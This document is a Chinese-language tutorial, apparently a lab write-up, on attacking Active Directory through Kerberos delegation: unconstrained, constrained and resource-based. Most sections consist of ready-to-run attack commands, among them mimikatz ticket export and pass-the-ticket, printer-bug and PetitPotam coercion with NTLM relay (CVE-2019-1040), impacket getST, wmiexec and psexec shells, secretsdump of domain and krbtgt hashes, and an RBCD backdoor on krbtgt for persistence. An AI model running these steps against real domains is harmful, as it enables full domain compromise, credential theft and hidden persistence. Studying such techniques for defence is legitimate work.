域委派攻击详解

## 什么是域委派

域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户权限访问域内的其他服务。简言之：当A访问服务B时，服务B拿着A用户的凭证去访问服务C，这个过程称为委派。

域委派是大型网络中经常部署的应用模式，给多跳认证带来了很大的便利，但是与此同时也带来了很大的安全隐患，利用委派，攻击者可获取本地管理员甚至域管理员权限，还可以制作深度隐藏的后门。

域用户 yokan\justtest 以 kerberos 身份验证访问 Web 服务器，请求下载文件。但是真正的文件在后台的文件服务器上。于是，Web服务器的服务账号websrv模拟域用户yokan\justtest，以kerberos协议继续认证到后台文件服务器。后台文件服务器将文件返回给Web服务器，Web服务器将文件返回给域用户yokan\justtest。这样，就完成了一个委派的流程。

委派的分类

非约束性委派(Unconstrained Delegation )

约束性委派( Constrained Delegation)

基于资源的约束性委派(RBCD: Resource Based Constrained Delegation)

委派的前提

在域内只有主机账号和服务账号才有委派属性。主机账号：活动目录中的computers组内的计算机，也被称为机器账号。服务账号：域内用户的一种类型，是服务器运行服务时所用的账号，将服务运行起来加入域内，比如：SQLServer,MYSQL等；域用户通过注册SPN也能成为服务账号。

委派的前提：被委派的用户不能被设置为不能被委派属性。

非约束性委派(Unconstrained Delegation )

概述

1、在Windows Server2000首次发布Active Directory时，Microsoft就提供了一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案，这就是最早的非约束性委派。对于非约束性委派（Unconstrained Delegation），服务账号可以获取被委派用户的TGT，并将TGT缓存到LSASS进程中，从而服务账号可使用该TGT，模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegation 特权，该特权通常仅授予域管理员。

2、配置了非约束性委派属性的机器账号的userAccountControl 属性有个Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION，其对应的数是0x81000=528384。

3、配置了非约束性委派属性的服务账号的userAccountControl 属性有个Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION，其对应的数是0x80200=524800。

查找非约束委派的主机或服务账号（域控默认配置非约束委派属性）

1、利用powersploit中的powerview

Import-Module .\PowerView.ps1;

查询非约束委派的主机 Get-NetComputer -Unconstrained -Domain yokan.com

查询非约束委派的服务账号 Get-NetUser -Unconstrained -Domain yokan.com | select name

2、利用ADFind

查找域中配置非约束委派的用户

AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机

AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

3、 ldapsearch

非约束性委派大致流程

user访serverA，于是向DC发起认证，DC会检查serverA的机器账号的属性，如果是非约束委派的话，会把用户的TGT放在ST票据中并一起发送给serverA，这样serverA在验证ST票据的同时也获取到了用户的TGT，并把TGT储存在自己的lsass进程中以备下次重用，从而serverA就可以使用这个TGT，来模拟这个user访问任何服务。

从攻击角度来说：如果攻击者拿到了一台配置了非约束委派的机器权限，可以诱导管理员来访问该机器，然后可以得到管理员的TGT，从而模拟管理员访问任意服务，相当于拿下了整个域环境。

非约束性委派利用

域：yokan.com 域控：WIN-1D09BAA27UF IP：192.168.111.134 域管：administrator 受委派机器：SERVER2012

现在将SERVER2012这个机器账号设置为非约束委派。

通过命令行打开adsiedit.msc查看SERVER2012机器属性，可以看到：

当被设置为非约束委派的时候，它的userAccountControl会包含TRUSTED_FOR_DELEGATION字段。

用域管访问SERVER2012机器

然后在SERVER2012上以管理员权限运行mimikatz:

privilege::debug

导出票据

sekurlsa::tickets /export

此时拿到了管理员的票据，用mimikatz将票据注入内存中，然后访问域控：

首先使用mimikatz清楚内存中的票据

kerberos::purge

然后导入票据

kerberos::ptt [0;7b5d92a]-2-0-60a00000-Administrator@krbtgt-YOKAN.COM.kirbi

查看票据

kerberos::list

可以访问域控：

非约束委派+spooler打印机

如果只是单纯的非约束委派话需要管理员主动连接，所以在实战环境利用比较鸡肋。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接，这个利用场景是tifkin_，enigma0x3和harmj0y在DerbyCon 2018提出的

利用原理

：利用Windows打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification（Ex）方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

请求过程如下：

注：Print Spooler服务默认是自动运行的

注：我在windows server2008上操作没有成功，不知道是我的问题还是有版本限制，按照上面的原理来说应该是没有版本限制的，不过把域环境重新配置了一遍，域控换成了windows server2012R2就成功了。

复现参考：

https://xz.aliyun.com/t/7217

https://mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw

利用工具：https://github.com/cube0x0/CVE-2021-1675

AdFind.exe（http://www.joeware.net/freetools/tools/adfind/）

Impacket（https://github.com/SecureAuthCorp/impacket）

SpoolSample（https://github.com/leechristensen/SpoolSample）

Rubeus（https://github.com/GhostPack/Rubeus）

利用复现

环境：

域：yokan.com

域控：系统：Windows server 2008主机名：WIN-1D09BAA27UF，ip：192.168.111.134

域内主机：系统：windows 10，主机名：DESKTOP-JSNG43Q，ip：192.168.111.153

给win10这个主机账户开启非约束委派:

利用：

利用前提是：需要获取一台主机账户开启了非约束委派域内机器的权限。（这里是win10机器

（1）查询域内配置非约束委派的主机：：

（2）查看域控主机上是否运行PrintSpooler服务（默认运行）

ls [\ad\pipe\spoolss](file://ad/pipe/spoolss) （网图）

有显示spoolss即为域控主机上运行了PrintSpooler服务，如果没有运行，我们将收到一个错误信息。

还有另一种方法。我们可以使用impacket中rpcdump.py脚本扫描存在PrintSpooler服务的主机：

如图所示为存在PrintSpooler服务，未显示信息则不存在。

（3）使用Rubeus监听来自域控（AD）的4624登录日志(需要管理员权限)：

（4）在win10主机上运行SpoolSample.exe，向域控（WIN-1D09BAA27UF）的Spooler服务发送请求，强制域控（WIN-1D09BAA27UF)向win10主机发起认证：

【没有成功，查资料说是域控换成SERVER2012以上就可以了，这边没有相应环境，下面贴一下网图吧】

（5）捕捉到来自域控（AD）的认证请求，导出其TGT数据：

【PS：也可以像《非约束委派利用》一节一样，直接用mimikatz导出票据】

（6）使用Rubues进行PTT票据传递：

PTT操作将通过LsaCallAuthenticationPackage()API提交当前登录会话的（TGT或服务票证），其中包含KERB_SUBMIT_TKT_REQUEST消息，或者（如果已提升）由指定的登录会话"/luid:0xA.."。

与其他"/ticket:X"参数一样，该值可以是".kirbi"文件的base64编码或磁盘上".kirbi"文件的路径。

使用Rubues导入base64的ticket：

（7）成功导入TGT后，查看可用票据：

（8）利用DCSync导出域内所有用户hash：

我们可以进一步进行Hash传递或者进行黄金票据等。

约束性委派( Constrained Delegation)

概述

1、由于非约束性委派的不安全性，微软在Windows Server 2003中发布了约束性委派。同时，为了在Kerberos协议层面对约束性委派的支持，微软扩展了两个子协议 S4u2Self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy )，这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST1)；S4U2proxy可以以用户的名义请求其它服务的ST2，约束委派就是限制了S4U2proxy扩展的范围, 只能模拟该用户访问特定的服务。

2、配置了约束性委派账户的msDS- AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束委派的设置需要 SeEnableDelegation 特权，该特权通常仅授予域管理员。

3、配置了非约束性委派的机器账号的userAccountControl属性有个FLAG位 WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION，其对应的数是0x1001000=16781312。

4、配置了非约束性委派的服务账号的userAccountControl属性有个FLAG位 NORMAL_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION，其对应的数是0x1000200=16777728。

S4U2Self和S4U2proxy的请求过程

注：其中步骤1-4代表S4U2Self请求的过程，步骤5-10代表S4U2proxy的请求过程

上述请求的文字描述：

\1. 用户向service1发出请求。用户已通过身份验证，但service1没有用户的授权数据。通常，这是由于身份验证是通过Kerberos以外的其他方式验证的。

\2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

\3. KDC返回给Service1一个用于用户验证Service1的ST1，该ST1可能包含用户的授权数据。

\4. service1可以使用ST中的授权数据来满足用户的请求，然后响应用户。

注：尽管S4U2self向service1提供有关用户的信息，但S4U2self不允许service1代表用户发出其他服务的请求，这时候就轮到S4U2proxy发挥作用了

\5. 用户向service1发出请求，service1需要以用户身份访问service2上的资源。

\6. service1以用户的名义向KDC请求用户访问service2的ST2

\7. 如果请求中包含PAC，则KDC通过检查PAC的签名数据来验证PAC ，如果PAC有效或不存在，则KDC返回ST2给service1，但存储在ST2的cname和crealm字段中的客户端身份是用户的身份，而不是service1的身份。

\8. service1使用ST2以用户的名义向service2发送请求，并判定用户已由KDC进行身份验证。

\9. service2响应步骤8的请求。

\10. service1响应用户对步骤5中的请求。

总结：

S4U2Self（用用户的TGT向KDC请求用户的可转发的ST1，再用这张ST1去发起S4U2proxy请求。）通过此扩展可以拿到一张标识任意用户身份的ST，它的作用其实是协议转换。有时用户会通过其他协议（例如NTLM或者是基于表单的身份验证）对服务进行身份验证，因此他们不会将TGS发送给服务。在这种情况下，服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS，然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1，网站A服务器再用这张ST1去发起S4U2proxy请求。

S4U2proxy（拿用户的可转发的ST1请求用于访问服务器的ST2）该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2，这张ST2的身份还是用户的，这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

查找约束委派的主机或服务账号

1、利用empire中的powerview

Import-Module .\powerview.ps1;

查询约束委派的主机： Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name

查询约束委派的账号： Get-DomainUser -TrustedToAuth -Domain hiro.com | select name

2、利用ADFind

查找域中配置约束委派用户: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查找域中配置约束委派的主机： AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

3、ldapsearch

约束性委派的大致流程

user访问serviceA，向DC发起kerberos认证，域控返回user的TGT和ST1票据，user使用ST1票据对serviceA进行访问

如果配置了serviceA到serviceB的约束委派，则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。

域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。

由于服务用户只能获取某个用户（或主机）的服务的ST1而非TGT，所以只能模拟用户访问特定的服务，但是如果能拿到约束委派用户（或主机）的密码或者Hash，就可以伪造S4U的请求，伪装成服务用户以任意用户的权限申请访问指定服务的ST2。

约束性委派利用

域：yokan.com 域控：WIN-1D09BAA27UF IP：192.168.111.134 域管：administrator 受委派机器：WIN7 域用户：justtest

首先在域控上将域用户justtest注册成为SPN服务账号:

setspn -S cifs/WIN7.yokan.com justtest

查看是否注册成功:

setspn -L justtest

然后将justtest用户设置约束委派的属性，为访问域控的cifs（访问文件夹）

通过命令行打开adsiedit.msc查看justtest用户属性，可以看到：

当被设置为约束委派的时候，它的userAccountControl会包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。

并且比非约束委派的账户多了msDS-AllowedToDelegateTo字段，里面包含了允许委派的服务

前面我们讲了在约束委派的情况下，服务用户只能获取某个用户（或主机）的服务的ST，所以只能模拟用户访问特定的服务，是无法获取用户的TGT，如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash，我们就可以伪造S4U请求，进而伪装成服务用户以任意账户的权限申请访问某服务的ST。

当知道justtest这个服务用户的明文密码或者Hash时，可以用kekeo请求它的TGT:

拥有明文密码

tgt::ask /user:justtest /domain:yokan.com /password:**********

拥有账户的Hash

tgt::ask /user:justtest /domain:yokan.com /NTLM:xxxxxxxxxxxxxxx

PS:如果既不知道明文也不知道Hash，如果有了服务用户登录的主机权限，可以用mimikatz从内存中把服务用户的TGT dump下来照样可以实现

从内存中导出所有票据

privilege::debug

sekurlsa::tickets /export

然后通过justtest的TGT伪造s4u请求以administrator身份请求访问域控(WIN-1D09BAA27UF) cifs的ST ：

*tgs::s4u /tgt:TGT_justtest@YOKAN.COM_krbtgt~yokan.com@YOKAN.COM.kirbi /user:Administrator@yokan.com /service:cifs/WIN-1D09BAA27UF.yokan.com*

（S4U2Self获取到的ST1以及S4U2Proxy获取到的域控CIFS服务的ST2会保存在当前目录下，然后我们用mimikatz将ST2导入当前会话即可）

用mimikatz将票据导入内存中

*kerberos::ptt TGS_Administrator@yokan.com@YOKAN.COM_cifs~WIN-1D09BAA27UF.yokan.com@YOKAN.COM.kirbi*

访问域控：

约束委派请求过程

待抓包看一下整个委派请求的过程。

参考：

https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw 服务用户: win7

https://xz.aliyun.com/t/7217#toc-12 服务用户 qiyou

https://mp.weixin.qq.com/s/PDhCRD1aOcmtd2wMUrv8Qg （这篇文章也有抓包分析过程）

利用约束委派生成黄金票据

TGT的生成是由krbtgt用户加密和签名的，如果我们能委派krbtgt服务，那么就可以伪造任意用户的TGT了，黄金票据通常情况下我们是用krbtgt的hash来伪造TGT，不过我们通过约束委派也能达到同样的效果。

注：TGS默认的spn是krbtgt/domain name，在我们操作环境下也就是是krbtgt/YOKAN.COM

krbtgt默认是禁用的而且无法启用，所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加：

域控通过powershell添加justtest到krbtgt的约束委派

powershell -exec bypass

Import-Module ActiveDirectory

$user = Get-ADUser justtest （justtest为设置为约束委派的服务账号）

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/yokan.com") }

我们可以用impacket套件攻击（可以py脚本，也可以exe,这里用py）

使用getST向KDC请求administrator的TGT:

*python getst.py -dc-ip 192.168.111.134 -spn krbtgt/yokan.com -impersonate Administrator yokan.com/justtest:password*

参数：

-impersonate：表示伪造用户

-spn：表示我们要委派的服务的spn，这里是TGS

-dc-ip：域控ip

执行之后会在当前目录生成一个缓存文件Administrator.ccache

黄金票据利用：

（1）获取域控权限

用mimikatz进行ptc（pass the cache），将缓存注入当前会话中

cmd下，klist查看缓存的票据

访问域控

（2）用wmiexec弹出一个权限为administrator交互式的shell

set KRB5CCNAME=administrator.ccache

python wmiexec.py -no-pass -k administrator@WIN-1D09BAA27UF.yokan.com -dc-ip 192.168.111.134

（3）导出域内哈希

set KRB5CCNAME=administrator.ccache

python secretsdump.py -no-pass -k WIN-1D09BAA27UF.yokan.com

基于资源的约束性委派(RBCD：Resource Based Constrained Delegation)

概述

传统的委派，在设置的过程中其实都是需要SeEnableDelegation特权，而这个特权需要域管理员才能设置。相对于传统的委派，基于资源的约束委派它不需要域管理员设置，而是机器本身。

基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束性委派只能在运行Windows Server 2012和Windows Server 2012 R2及以上的域控制器上配置，但可以在混合模式林中应用。配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许委派账号的SID，并且委派属性这里没有任何值。

（换图）

约束委派和基于资源的约束委派的区别

前者：通过服务A委派到服务B，实际是在服务A上增加TRUSTED_FOR_DELEGATION字段（非约束委派），TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo （约束委派）字段来达到委派的目的。

后者：通过服务B允许服务A委派到服务B，实际是通过服务B自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段，从而允许服务A对服务B的基于资源的约束委派。

所以当利用到基于资源的约束委派的时候，服务A的两个字段是没有赋值的，当这两个字段没有被赋值的时候，通过S4U2Self得到的ST服务票证是不可被转发的，而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证的。但是：在基于资源的约束委派过程中，不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证，并且最后还会返回一张可转发的ST服务票证。

因此，如果能够在服务B上配置允许服务A的基于资源的约束委派，那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据，最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据，那么我们就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。

基于资源的约束性委派的优势

1、委派的权限授予给了拥有资源的后端，而不再是前端

2、约束性委派不能跨域进行委派，基于资源的约束性委派可以跨域和林

3、不再需要域管理员权限设置委派，只需拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限，也就是拥有’将域机器加入域’的域用户和机器自身的权限。

基于资源的约束性委派利用条件

利用基于资源的约束委派(RBCD)需要2个条件：

1.拥有将域机器加入域的域用户的权限。（将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。）

2.一个任意服务账户或者一个机器账户（每一个域用户都可以添加10个机器账户）

补充：

1.如果导入powerview后执行以下命令后有回显，证明win7主机配置了基于资源的约束性委派。

Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity

2.查找将win主机拉入域内的人的sid，其实就是查找这台主机的mS-DS-CreatorSID值：

AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

基于资源的约束性委派流程

基于资源的约束性委派利用

攻击前

域：yokan 域控：WIN-1D09BAA27UF IP：192.168.111.134 域管：administrator 域内机器：DESKTOP-JSNG43Q(一台Windows10)，域内用户justtest把这台机器加入到域内

1、

通过ADFind查找将域机器拉入域的用户的SID：

*AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID*

(如果一个机器账号没有mS-DS-CreatorSID，那么他是被域管拉入到域内的,比如上图前三个)

查看S-1-5-21-3711814681-2143907425-4066055064-1138是谁：

*AdFind.exe -b "DC=yokan,DC=com" -f "(&(objectsid= S-1-5-21-3711814681-2143907425-4066055064-1138))" objectclass cn dn*

假如现在已经拿到了把DESKTOP-JSNG43Q这台机器加入域的用户justtest的权限

使用whoami /all查询当前用户的sid

同样可以通过用户的sid查看哪些域机器是通过自己(justtest)加入到域内的：

*AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID= S-1-5-21-3711814681-2143907425-4066055064-1138))" cn sAMAccountType objectCategory*

2、

利用powermad添加机器账户：

(下载：https://github.com/Kevin-Robertson/Powermad)

这里以justtest用户创建一个域机器名为win10system，密码为win10

Import-Module .\Powermad.ps1

New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)

验证是否创建成功：

net group "domain computers" /domain

3、

查询添加机器的SID：

（1）在域控制器上查询

dsquery computer | dsget computer -dn -sid

或者

powershell运行Get-ADComputer win10system

（2）在域机器上查询

使用empire下的powerview：

Import-Module .\powerview.ps1

Get-DomainComputer -Identity win10system

S-1-5-21-3711814681-2143907425-4066055064-1141

4、

然后设置win10system到DESKTOP-P34E60A的基于资源的约束委派（使用empire下的powerview），即DESKTOP-P34E60A自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3711814681-2143907425-4066055064-1141)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer DESKTOP-JSNG43Q| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

检查是否配置成功：

（使用empire下的powerview）

Get-DomainComputer DESKTOP-JSNG43Q -Properties msds-allowedtoactonbehalfofotheridentity

也可以在域控上通过命令行打开adsiedit.msc查看CN=DESKTOP-JSNG43Q机器属性，可以看到：

当被设置为基于资源的约束委派的时候，它的msDS-AllowedToActOnBehalfOfOtherIdentity会包含有效字段。

（攻击完成清除基于资源的约束委派配置：[导入powerview]

Set-DomainObject DESKTOP-JSNG43Q -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose）

补充：

如果满足了“利用条件“，可以直接使用这个工具(https://github.com/tothi/rbcd-attack)****添加机器账户，配置基于资源的约束委派，两条命令即可，很方便）

使用如下：

现在已经配置好利用条件就可以通过基于资源的约束委派进行攻击了：

攻击

1.使用rubeus获取票据

Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt

dir [\WIN-1D09BAA27UF\c$](file://WIN-1D09BAA27UF/c$)

2.使用impacket套件获取

python3 getST.py -dc-ip 192.168.111.134 -spn cifs/DESKTOP-JSNG43Q -impersonate administrator yokan.com/win10system$:win10

set KRB5CCNAME=administrator.ccache

python3 wmiexec.py -no-pass -k administrator@DESKTOP-JSNG43Q.yokan.com -dc-ip 192.168.111.134

基于资源的约束委派+spool服务(PrinterBug)+CVE-2019-1040

CVE-2019-1040可以绕过NTLM中的MIC（消息完整性检查），修改已经过协商签名的身份验证流量。有两种利用方式，一个是攻击Exchange 机器，迫使Exchange机器用户向我们发起请求，另外一个就是攻击域管机器，迫使域管机器用户向我们发起请求。

这里我们用到的是攻击域管机器。

在有辅助域的内网中，利用此漏洞，就能直接获取到域控的权限。

环境：

PDC : 192.168.111.134

ADC : 192.168.111.135

已控普通域内机器：192.168.111.

攻击机kali : 192.168.111.142

已知域用户： justtest *******

利用：

1、 由于所有域用户向都可以在域中添加10个计算机帐户，因此在受控域内机器上，使用justtest的用户身份新建一个机器用户tttest：

创建方式有很多，可以使用powermad.ps1脚本。这里使用impacket工具包里的addcomputer.py

python addcomputer.py -computer-name 'tttest' -computer-pass ttttest -dc-ip 192.168.111.134 yokan.com/justtest:YOKAN_vege947!!@@

2、使用impacket中的ntlmrelay.py监听445进行监听等待域控进行连接

python ntlmrelayx.py -t ldap://192.168.111.134 -smb2support --remove-mic --delegate-access --escalate-user tttest$ -debug

(别忘了转义)

执行ntlmrelayx.py脚本，--delegate-access选项是将中继计算机帐户的访问权限委托给攻击者，--escalate-user参数设置tttest机器用户的资源委派，--remove-mic参数了是去除mic验证

3 使用打印机漏洞让域控连接我们的445(注意攻击的域控跟回连的LDAP所在的服务器不要在同一台域控)

使用任意域账号SMB连接辅助域控制器，触发printerbug，使辅助域控制器用自己的用户身份回连攻击者主机

python printerbug.py yokan.com/justtest:YOKAN_vege947!!@@@192.168.111.135 192.168.111.142

此时ntlmrelayx.py通过ldap将该用户账户中继到域控服务器(DC)，并设置了tttest$到ADC辅助域控制器的约束委派

(网图，我主域控是server08，没有成功)

(https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ)

4 使用impaket中的getSP.py脚本，通过-impersonate参数模拟用户administrator请求其票据，再利用票据执行命令

首先：

python3 getST.py -spn cifs/ADC.yokan.com yokan/tttest$:tttest -dc-ip 192.168.111.134 -impersonate administrator

导入票据：

export KRB5CCNAME=administrator.ccache

获取辅助域控shell

python3 smbexec.py -k -no-pass adc.yokan.com

基于资源的约束委派+petitpotam+CVE-2019-1040

利用PetitPotam，可以指定域内的一台服务器，并使其对攻击者选择的目标进行身份验证。
而且在低版本(08和12)的情况下，可以匿名触发，不需要域用户。在16版本以上，就需要指定一个普通域用户账号和密码了。

利用过程与上面类似，只不过触发方式从prinrtbug改为petitpotam

1、****添加计算机账户

python3 addcomputer.py -method SAMR -dc-ip 192.168.164.146 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."

2、****开启中继

python3 ntlmrelayx.py -t ldap://192.168.164.146 -debug --delegate-access --escalate-user rbcd1$ -smb2support --remove-mic

3、触发PetitPotam

python3 Petitpotam.py 192.168.164.128 192.168.164.147

（这里是server2012，不需要指定用户名密码）

PS 如果是server2016以上，触发方式为：

python PetitPotam.py -u user1 -p Uu1234. -d test.com 192.168.164.128 192.168.164.147

4****、获取票据
这里我重新搭建了域环境，所以机器名变了

python3 getST.py -dc-ip 192.168.164.146 test/rbcd1$:123456 -spn cifs/father2.test.com -impersonate administrator

5、 加载票据使用

export KRB5CCNAME=administrator.ccache

psexec.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com

secretsdump.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com -just-dc-user test/krbtgt

利用基于资源的约束委派进行权限维持

跟约束委派利用相似，可以配置win10system到krbtgt的基于资源的约束委派，只要有了win10system的权限，就能伪造任意用户请求krbtgt服务，则可以请求到任意用户的TGT.

在域控上执行：

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

可以看到krbtgt的msDS-AllowedToActOnBehalfOfOtherIdentity会包含有效字段。